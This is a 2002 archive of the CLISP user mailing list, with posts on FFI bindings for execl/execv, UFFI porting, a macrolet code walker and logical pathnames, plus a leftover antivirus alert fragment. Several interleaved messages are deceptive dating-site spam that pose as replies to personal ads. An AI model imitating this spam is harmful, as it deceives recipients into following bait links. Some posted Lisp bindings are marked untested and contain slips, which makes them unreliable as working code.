HdEboC5uE7CsIDwh/yMNPiB8RgNhhSF3aAuAbnVfawIgDmQc8CQAJ9lAaG906wDAAxAuBaBtJh0G YAIwARiWMTk2OTU4NSAyODAsMiwAMzDGMwwBKkx1YmoFkCtHglskGF0gRnc6B7NCVB0iRG9jdRmz KNQyKSB8QRloRBOwKbGYczotMT8Zhk5hB4CTL88w1C5nBpAuYhlQ3yaWHXE1LzY/GNJJHcAuIbEJ gD8gWQeQGKVSHCCnC3AVQTqgTm8YpUIU0L5jGGA72jLAGmM6qlY7oBZ1B6E081cs0C9ZYeMTcDaQ QE1NIHxA7QGRBCB9QpAAAAADAP0/5AQAAAIBcQABAAAAFgAAAAHCoBVZo688DtHc9E0AtMLpJpwy 808AAAMAJgAAAAAAAwA2AAAAAAAeAHAAAQAAAE0AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNr ZXQgbnVtYmVyIE9BODlfMTAzOTUwMTcwNl9FWENIQU5HRTFfMSB3YXMgZ2VuZXJhdGVkAAAAAAIB RwABAAAAMAAAAGM9VVM7YT0gO3A9RlNJO2w9RVhDSEFOR0UxLTAyMTIxMDA2MjgyN1otMTExMDkx AAIB+T8BAAAASwAAAAAAAADcp0DIwEIQGrS5CAArL+GCAQAAAAAAAAAvTz1GU0kvT1U9U1NEL0NO PVJFQ0lQSUVOVFMvQ049TkFJU1NERVhDSEFOR0UxAAAeAPg/AQAAACEAAABHcm91cFNoaWVsZCBF eGNoYW5nZSAoRVhDSEFOR0UxKQAAAAAeADhAAQAAABAAAABOQUlTU0RFWENIQU5HRTEAAgH7PwEA AABLAAAAAAAAANynQMjAQhAatLkIACsv4YIBAAAAAAAAAC9PPUZTSS9PVT1TU0QvQ049UkVDSVBJ RU5UUy9DTj1OQUlTU0RFWENIQU5HRTEAAB4A+j8BAAAAIQAAAEdyb3VwU2hpZWxkIEV4Y2hhbmdl IChFWENIQU5HRTEpAAAAAB4AOUABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQBAAAcwLTqJWRWgwgFA AAgwgSS0WRWgwgEeAD0AAQAAAAEAAAAAAAAAHgAdDgEAAABNAAAAQUxFUlQgLSAgR3JvdXBTaGll bGQgdGlja2V0IG51bWJlciBPQTg5XzEwMzk1MDE3MDZfRVhDSEFOR0UxXzEgd2FzIGdlbmVyYXRl ZAAAAAAeADUQAQAAAD8AAAA8NDE3MEI4NjNBMUY1Q0E0RThGQUVGQzlEQjAzNDlGNDU5Rjg3MDBA ZXhjaGFuZ2UxLnNzZC5mc2kuY29tPgAACwApAAAAAAALACMAAAAAAAMABhAqbosuAwAHEK0BAAAD ABAQAAAAAAMAERAAAAAAHgAIEAEAAABlAAAAQUNUSU9OVEFLRU46VEhFQVRUQUNITUVOVFdBU0RF TEVURURGUk9NVEhFTUVTU0FHRUFORFJFUExBQ0VEV0lUSEFURVhURklMRUlORk9STUlOR1RIRVJF Q0lQSUVOVE9GVEhFQQAAAAACAX8AAQAAAD8AAAA8NDE3MEI4NjNBMUY1Q0E0RThGQUVGQzlEQjAz NDlGNDU5Rjg3MDBAZXhjaGFuZ2UxLnNzZC5mc2kuY29tPgAAvoY= --=_52b2f43a68f537e2143a940e365a4846-- From midh@excite.com Tue Dec 10 01:53:03 2002 Received: from [203.115.13.34] (helo=excite.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Lh4W-0007OD-00; Tue, 10 Dec 2002 01:53:01 -0800 Received: from unknown (131.234.128.50) by rly-xr02.nikavo.net with esmtp; 10 Dec 2002 14:55:40 +0400 Received: from unknown (HELO symail.kustanai.co.kr) (68.200.17.247) by smtp4.cyberecschange.com with asmtp; 10 Dec 2002 18:47:23 -0900 Reply-To: Message-ID: <003a66c67b6b$1555d5b3$6ec57ec8@pfgvfm> From: To: , , , MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Importance: Normal Subject: [clisp-list] I never did Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 10 01:54:02 2002 X-Original-Date: Tue, 10 Dec 2002 15:32:22 -0600 Are you for real?.. think you replied to my personal ad! Yes I do get a lot of responses but you got me curious I haven't done this in a while so please forgive my nervousness. And I hope your still around, (the good people always get taken fast) Anyway since I know a "little" about you :) (that was cute by the way), you should take a look at me so that you can decide if we match. I'm not sure exactly what ad you replied to, I have a couple, but I do have a detailed profile with a picture at http://www.hot.ee/vipsingles Chris Well...If you're not interested any more, that's ok too.... Have a great night. Cya!....:) ChrisBrenda27 Member Registration http://www.hot.ee/vipsingles 2761pQMV2-968WhNK1316YFJJ9-257kPxf8434cBit0-939nECI1120EUaW0-052gbFH1599BEfpl72 2290ujeh9-379iluD1303iLdw1-481zuMN7535Xpjt0-619pgtG5780trEM4-564vhPnl64 From pascal@thalassa.informatimago.com Tue Dec 10 02:08:18 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18LhJC-00038C-00 for ; Tue, 10 Dec 2002 02:08:11 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 5037D24E50; Tue, 10 Dec 2002 11:07:44 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021210100744.5037D24E50@thalassa.informatimago.com> Subject: [clisp-list] execl, et al. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 10 02:09:02 2002 X-Original-Date: Tue, 10 Dec 2002 11:07:44 +0100 (CET) Hello, Those who have tried to use the package LINUX may have noticed that execl, execle, and other functions taking a variable number of arguments are missing, because the FFI package does not handle variable number of arguments. Well, I did not want to dive deeply into FFI, so here is a little macro defining on the fly the needed execl# foreign functions. One defect of this macro is that it polutes the current package with execl# symbols, but since the LINUX package is locked... (Is there a mean to unlock a package?) Perhaps it should define a package "LINUX-DYN-FUN". (defmacro execl (path &rest argv) (let* ((argc (1- (length argv))) (exec (intern (format nil "EXECL~D" argc)))) (if (fboundp exec) `(,exec ,path ,@argv nil) `(progn (ffi:def-call-out ,exec (:language :stdc) (:arguments (path ffi:c-string) ,@(do ((i 0 (1+ i)) (arguments nil (cons (list (intern (format nil "ARGV~D" i)) 'ffi:c-string) arguments)) ) ((< argc i) (nreverse arguments))) (null ffi:c-string)) (:return-type ffi:int) (:name "execl")) (,exec ,path ,@argv nil))))) -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From Joerg-Cyril.Hoehle@t-systems.com Tue Dec 10 06:09:21 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ll48-0005Oy-00 for ; Tue, 10 Dec 2002 06:08:53 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 10 Dec 2002 15:07:22 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Dec 2002 15:07:21 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE8A9989@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] execl, et al.: unneeded, please use execv! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 10 06:10:04 2002 X-Original-Date: Tue, 10 Dec 2002 15:07:15 +0100 Hi, [Sam: to be included into CLISP if Pascal confirm it works.] >execl, execle, and other functions taking a variable number of >arguments are missing, because the FFI package does not handle 1. You could use (def-call-out execl% ... #|0 or 1 arg template #| (defun execl (...) (WITH-FOREIGN-OBJECT (exec `(C-FUNCTION ...,(construct varargs)) = #'execl% (funcall #|the foreign-function object|# path args) I.e. apply CAST, either implicitly or explicitly. Or (apply (FOREIGN-ADDRESS-FUNCTION "execl" (foreign-address ...) `(C-FUNCTION ... ,(construct varargs))) args) 2. However execl() is for C programmers only. It uses variable numbers = of arguments. Most language bindings use execv(), which passes the = argument as a pointer to an array. No problem at all with CLISP and a very nice use of the C-ARRAY-PTR = declaration. Note to programmers for interoperability: design your interfaces this = way instead of "only callable from C (and few others) because it uses = varargs". ; from the Solaris 2.5 manpage I suggest (def-c-call-out execv (:arguments (path c-string) (argv (c-array-ptr = c-string))) (:return-type int) (:name "execv") ) (def-c-call-out execve (:arguments (path c-string) (argv (c-array-ptr = c-string)) (envp (c-array-ptr c-string))) (:return-type int) (:name "execv") ) (def-c-call-out execvp (:arguments (file c-string) (argv (c-array-ptr = c-string))) (:return-type int) (:name "execvp") ) Now somebody go figure out why the appropriate and unfinished lines for = execvyx() are commented out in clisp/src/modules/bindings/linuxlibcx/ (execv "echo" (vector "echo" "arg1" "arg2")) (defun myexec (path &rest args) (execv path (apply #'vector path args))) ; all untested A note on Pascal's original macro code: it looked like DEF-LIB-CALL = might be invoked for each call. This is usually a bad thing to do. = Looking even closely, there are several things wrong with that macro = (like FBOUNDP being invoked at macroexpansion time). A lot more could = be written on Lisp macros. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Dec 10 06:29:28 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18LlO2-0003cy-00 for ; Tue, 10 Dec 2002 06:29:27 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 10 Dec 2002 15:28:46 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Dec 2002 15:28:45 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE8A99A7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] task proposal: UFFI support for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 10 06:30:03 2002 X-Original-Date: Tue, 10 Dec 2002 15:28:35 +0100 Hi, Andrei Formiga asked about CLISP support on the UFFI user list. I came to realize that there's nothing but time that prevents one from starting to port UFFI to CLISP right now. I myself don't have time. But I can give advice. Kevin Rosenberg, author of UFFI, promised to integrate patches. 1. no shared libraries. what the heck, CLISP didn't have them for 7 years and that prevented nobody from doing FFI stuff. UFFI:def-function can nevertheless expand to ffi:def-call-out. One can use the regexp or linux modules and see if that works, or create own modules and link them, as usual. 2. the newest CLISP (2.30) has with-foreign-object, with-c-var for stack allocation and unsigned-foreign-address and foreign-address-unsigned for low-level stuff. 3. What's truly missing is malloc and free, where the nice design is not there. IMHO, that doesn't prevent many UFFI examples from working. WITH-* constructs are recommended, like in CL in general. 4. convert-from-string et al could be more efficient in the future, but here's a quick shot: (defun uffi:convert-from-foreign-string (address) (ffi:with-c-var (ptr c-pointer (foreign-address address)) (cast ptr 'c-string))) ; probably fastest and with least GC: (defun uffi::convert-from-foreign-string (address) (funcall (load-time-value (foreign-address-function "ffi_identity" #'c-self (ffi::parse-c-type '((:arguments (in c-pointer))(:return-type c-string))))) (foreign-address address))) ; alternatively (def-c-call-out uffi:convert-from-foreign-string (:name "ffi_identity") (:arguments (in c-pointer)) ; expects FOREIGN-ADDRESS object, not FOREIGN-VARIABLE (:return-type c-string)) ; however UFFI supports some keywords: (defun uffi:convert-from-foreign-string (address &key length (null-terminated-p T)) (ffi:with-foreign-object (ptr c-pointer (foreign-address address)) (let ((type (if null-terminated-p (if length `(c-ptr-null (c-array-max character ,length)) 'c-string) ; eventually return-from shortcut (if length `(c-ptr-null (c-array character ,length)) (error "bad combination"))))) ;; only length=NIL case can be optimized as above (constant) (ffi::foreign-value (ffi::%cast ptr (ffi::parse-c-type type)))))) or simply (cast ptr type) when using with-c-var (defun uffi::char-array-to-pointer (array) (ffi:foreign-address array)) ; or possibly identity if c-pointer accepts foreign-variable argument 5. There need to be some early design decision that can affect some aspects. CLISP has FOREIGN-ADDRESS and FOREIGN-VARIABLE objects. The latter includes the former and additionaly provides a C type declaration (in CLISP syntax). I.e. FOREIGN-ADDRESS is like a void*. FOREIGN-ADDRESS is what CLISP yields when the C-POINTER interface specification is used in a function definition. FOREIGN-VARIABLE objects are not accepted by the call-out code (but I could change that). Only FOREIGN-VARIABLE objects permit access to foreign memory, e.g. DEREF, CAST, OFFSET, ELEMENT etc. only work on these objects (since they need the foreign type declaration and check it). WITH-FOREIGN-OBJECT yields a FORIGN-VARIABLE. When passed to a function, one can use (FOREIGN-ADDRESS f-v), resp. (C-VAR-ADDRESS x) for WITH-C-VAR. WITH-FOREIGN-STRING (not finished yet) will yield a FOREIGN-ADDRESS only, because I found that I cannot return an adequate FOREIGN-VARIABLE lacking knowledge upon properties of the string and use (e.g. 16bit string, 32bit unicode etc.) So far, it's unclear to me what the UFFI should use internally. Comments? Regards, Jorg Hohle. From mika.rantakokko@cec.eu.int Tue Dec 10 11:13:58 2002 Received: from [62.217.89.131] (helo=cec.eu.int) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Lpoz-0006We-00; Tue, 10 Dec 2002 11:13:53 -0800 Received: from mailout2-eri1.midmouth.com ([45.208.188.69]) by pet.vosni.net with smtp; 10 Dec 2002 23:15:29 +0200 Received: from unknown (151.35.235.210) by n9.groups.huyahoo.com with asmtp; Wed, 11 Dec 2002 01:02:47 -0600 Reply-To: Message-ID: <015d06b60e4e$2552b3d2$3da67be3@dshmxh> From: To: , , , MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.00.2919.6700 Importance: Normal Subject: [clisp-list] Yea right ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 10 11:14:10 2002 X-Original-Date: Tue, 10 Dec 2002 08:55:38 +1000 : ))).. Hi again I am so sorry for not replying sooner it seems that, one of my emails seemed to have gone astray, so I thought I would reply hoping that you would still remember who I am :)) If by some chance you have changed your email, I guess I would have lost an opportunity too. shame :( Anyway, I'm still willing and waiting here http://www.singlers.com/index_vip.html If you want to contact me through the site again you know where I am. Kisses Ali Member Registration http://www.singlers.com/index_vip.html 8290DKcn6-819ySwC7922RApo0-l25 7630JLEW7-021tjjr9896lQKg5-319cOGS5494DTYU9-613hpxU4459XJtG1-877npJf5479WAJP8-877l76 From mike.magee@theinquirer.net Wed Dec 11 04:31:10 2002 Received: from [217.219.214.130] (helo=theinquirer.net) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18M615-0006e0-00 for ; Wed, 11 Dec 2002 04:31:09 -0800 Received: from mx.loxsystems.net ([118.101.109.228]) by anther.webhostingtotalk.com with asmtp; Wed, 11 Dec 2002 07:33:48 +0500 Reply-To: Message-ID: <000b36e03b3a$1825b7b4$8de76cb3@qigfdv> From: To: MiME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 1 (High) X-MSMail-Priority: High X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal Subject: [clisp-list] Ready? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 04:32:02 2002 X-Original-Date: Wed, 11 Dec 2002 15:05:26 -0300 Hi !.. Hi again I am so sorry for not replying sooner it seems that, one of my emails seemed to have gone astray, so I thought I would reply hoping that you would still remember who I am :)) If by some chance you have changed your email, I guess I would have lost an opportunity too. shame :( Anyway, I'm still willing and waiting here http://www.singlers.com/index_vip.html If you want to contact me through the site again you know where I am. Kisses Ali Member Registration http://www.singlers.com/index_vip.html 3876pzAr2-057ZOeg0868fmUn1-109uRFo925l35 2540IVELl8 From toy@rtp.ericsson.se Wed Dec 11 07:48:50 2002 Received: from imr1.ericy.com ([208.237.135.240]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18M96P-0005NN-00 for ; Wed, 11 Dec 2002 07:48:49 -0800 Received: from mr5.exu.ericsson.se (mr5u3.ericy.com [208.237.135.124]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id gBBFmmd00586 for ; Wed, 11 Dec 2002 09:48:48 -0600 (CST) Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by mr5.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id gBBFmmO00290 for ; Wed, 11 Dec 2002 09:48:48 -0600 (CST) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id YD96814Q; Wed, 11 Dec 2002 09:48:47 -0600 Received: from b2b7_hp5.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.207]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id KAA21285 for ; Wed, 11 Dec 2002 10:48:47 -0500 (EST) Received: (from toy@localhost) by b2b7_hp5.rtp.ericsson.se (8.10.2+Sun/8.9.3) id gBBFmka16893; Wed, 11 Dec 2002 10:48:46 -0500 (EST) X-Authentication-Warning: b2b7_hp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List From: Raymond Toy Message-ID: <4nznrck141.fsf@rtp.ericsson.se> Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (brussels sprouts) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] macrolet walker? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 07:49:07 2002 X-Original-Date: 11 Dec 2002 10:48:46 -0500 In Clisp 2.29, I notice that extended loop macroexpands into code that uses macrolet. When used with series (series.sourceforge.net), series fails to process the code because it doesn't know how to walk the macrolet code. Is there a code walker in clisp that can be used to walk through macrolets? Series has support for a macrolet walker in LW and CMUCL. Support for Clisp would be nice. Ray From sds@gnu.org Wed Dec 11 08:32:20 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18M9mV-0006LX-00 for ; Wed, 11 Dec 2002 08:32:20 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021211163211.ORKH4558.pop018.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 10:32:11 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBBGWB9O001642; Wed, 11 Dec 2002 11:32:11 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBBGWAHf001638; Wed, 11 Dec 2002 11:32:10 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] macrolet walker? References: <4nznrck141.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nznrck141.fsf@rtp.ericsson.se> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 10:32:11 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 08:33:03 2002 X-Original-Date: 11 Dec 2002 11:32:10 -0500 > * In message <4nznrck141.fsf@rtp.ericsson.se> > * On the subject of "[clisp-list] macrolet walker?" > * Sent on 11 Dec 2002 10:48:46 -0500 > * Honorable Raymond Toy writes: > > In Clisp 2.29, I notice that extended loop macroexpands into code that > uses macrolet. When used with series (series.sourceforge.net), series > fails to process the code because it doesn't know how to walk the > macrolet code. > > Is there a code walker in clisp that can be used to walk through > macrolets? Series has support for a macrolet walker in LW and CMUCL. > Support for Clisp would be nice. CLISP has a code walker, of course, in src/init.lisp what exactly do you need? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux To a Lisp hacker, XML is S-expressions with extra cruft. From Joerg-Cyril.Hoehle@t-systems.com Wed Dec 11 09:00:19 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MADZ-0006TG-00 for ; Wed, 11 Dec 2002 09:00:18 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 11 Dec 2002 18:00:08 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 11 Dec 2002 18:00:08 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] using logical-pathnames in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 09:01:07 2002 X-Original-Date: Wed, 11 Dec 2002 18:00:07 +0100 Hi, despite years of Common Lisp, all I know about logical pathnames since = IIRC Marcus Daniels started adding some code in 1994 is that they would = come in my way, since on the Amiga, there are typically 10-60 valid = pathnames like "clisp:src/lispbibl.d" and = "devs:Monitors/A2024.monitor". I also knew that MS-DOS/MS-Windows users = would have similar problems with them, because they have = C:\autoexec.bat, PRN: etc. which must be passed to the OS. I also know CMUCL's search lists, which I found very useful. Little = overhead, easy to use. They looked like AmigaOS' pathnames. The effect = is somewhat similar to what file-system people call union (or overlay) = file systems. Can logical-pathnames nevertheless be used in CLISP with MS-Windows? How do people use them, on any OS? (UNIX/Linux/xy) What do other implementations do on MS-Windows? impnotes says: >The ANSI-mandated behavior of recognizing logical pathnames when the >string begins with some alphanumeric characters followed by a colon = (#\:) >is very confusing (cf. "c:/autoexec.bat", "home:.clisprc" and = "prep:/pub/gnu") >and therefore disabled by default. To enable the ANSI standard = behavior, you >should set CUSTOM:*PARSE-NAMESTRING-ANSI* to non-NIL. What are the effects of this switch w.r.t. logical-pathnames? Is it a = real win, because every function like LOAD, OPEN etc. suddenly accepts = pathnames like "clispsrc:modules;bindings;linux.lisp") instead of very = deep full pathnames? Can I somehow say, with CLISP (probe-file "clispsrc:src/foreign.d") like I can with native OS = pathnames on the Amiga and also with cmucl - = #+cmucl(ext:unix-naemstring x)? and still have (probe-file "c:\\Progra~1\\foo.txt") work? Observe that > (logical-pathname "c:/foo/doc/i.html") #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:RELATIVE "FOO" = "DOC") :NAME "I" :TYPE "HTML" :VERSION NIL) > (logical-pathname "c:foo/doc/i.html") #S(LOGICAL-PATHNAME :HOST "C" :DEVICE NIL :DIRECTORY (:ABSOLUTE "FOO" = "DOC") :NAME "I" :TYPE "HTML" :VERSION NIL) is just the other way round from parse-namestring for MS-DOS/Windows C:/foo -> :absolute, C:foo -> :relative Thanks for enlightening me, J=F6rg H=F6hle. From sds@gnu.org Wed Dec 11 10:16:55 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MBPi-0008Hk-00 for ; Wed, 11 Dec 2002 10:16:55 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021211181644.CJVC4233.pop016.verizon.net@loiso.podval.org>; Wed, 11 Dec 2002 12:16:44 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBBIGi9O002045; Wed, 11 Dec 2002 13:16:44 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBBIGhjR002041; Wed, 11 Dec 2002 13:16:43 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] using logical-pathnames in CLISP References: <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.32.163] at Wed, 11 Dec 2002 12:16:43 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 11 10:17:06 2002 X-Original-Date: 11 Dec 2002 13:16:43 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE8A9DC6@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] using logical-pathnames in CLISP" > * Sent on Wed, 11 Dec 2002 18:00:07 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Can logical-pathnames nevertheless be used in CLISP with MS-Windows? It depends. First, note that logical pathnames do not mix well with non-logical ones on woe32 (because of the "C:\" abomination you mentioned). Second, logical pathnames cannot work with "bad" filenames (containing spaces, commas &c). So, if you are only using "good" filenames, you can enable this. You will need to create a bunch of logical hosts first. I suggest having a file `loghosts' in your *load-path* 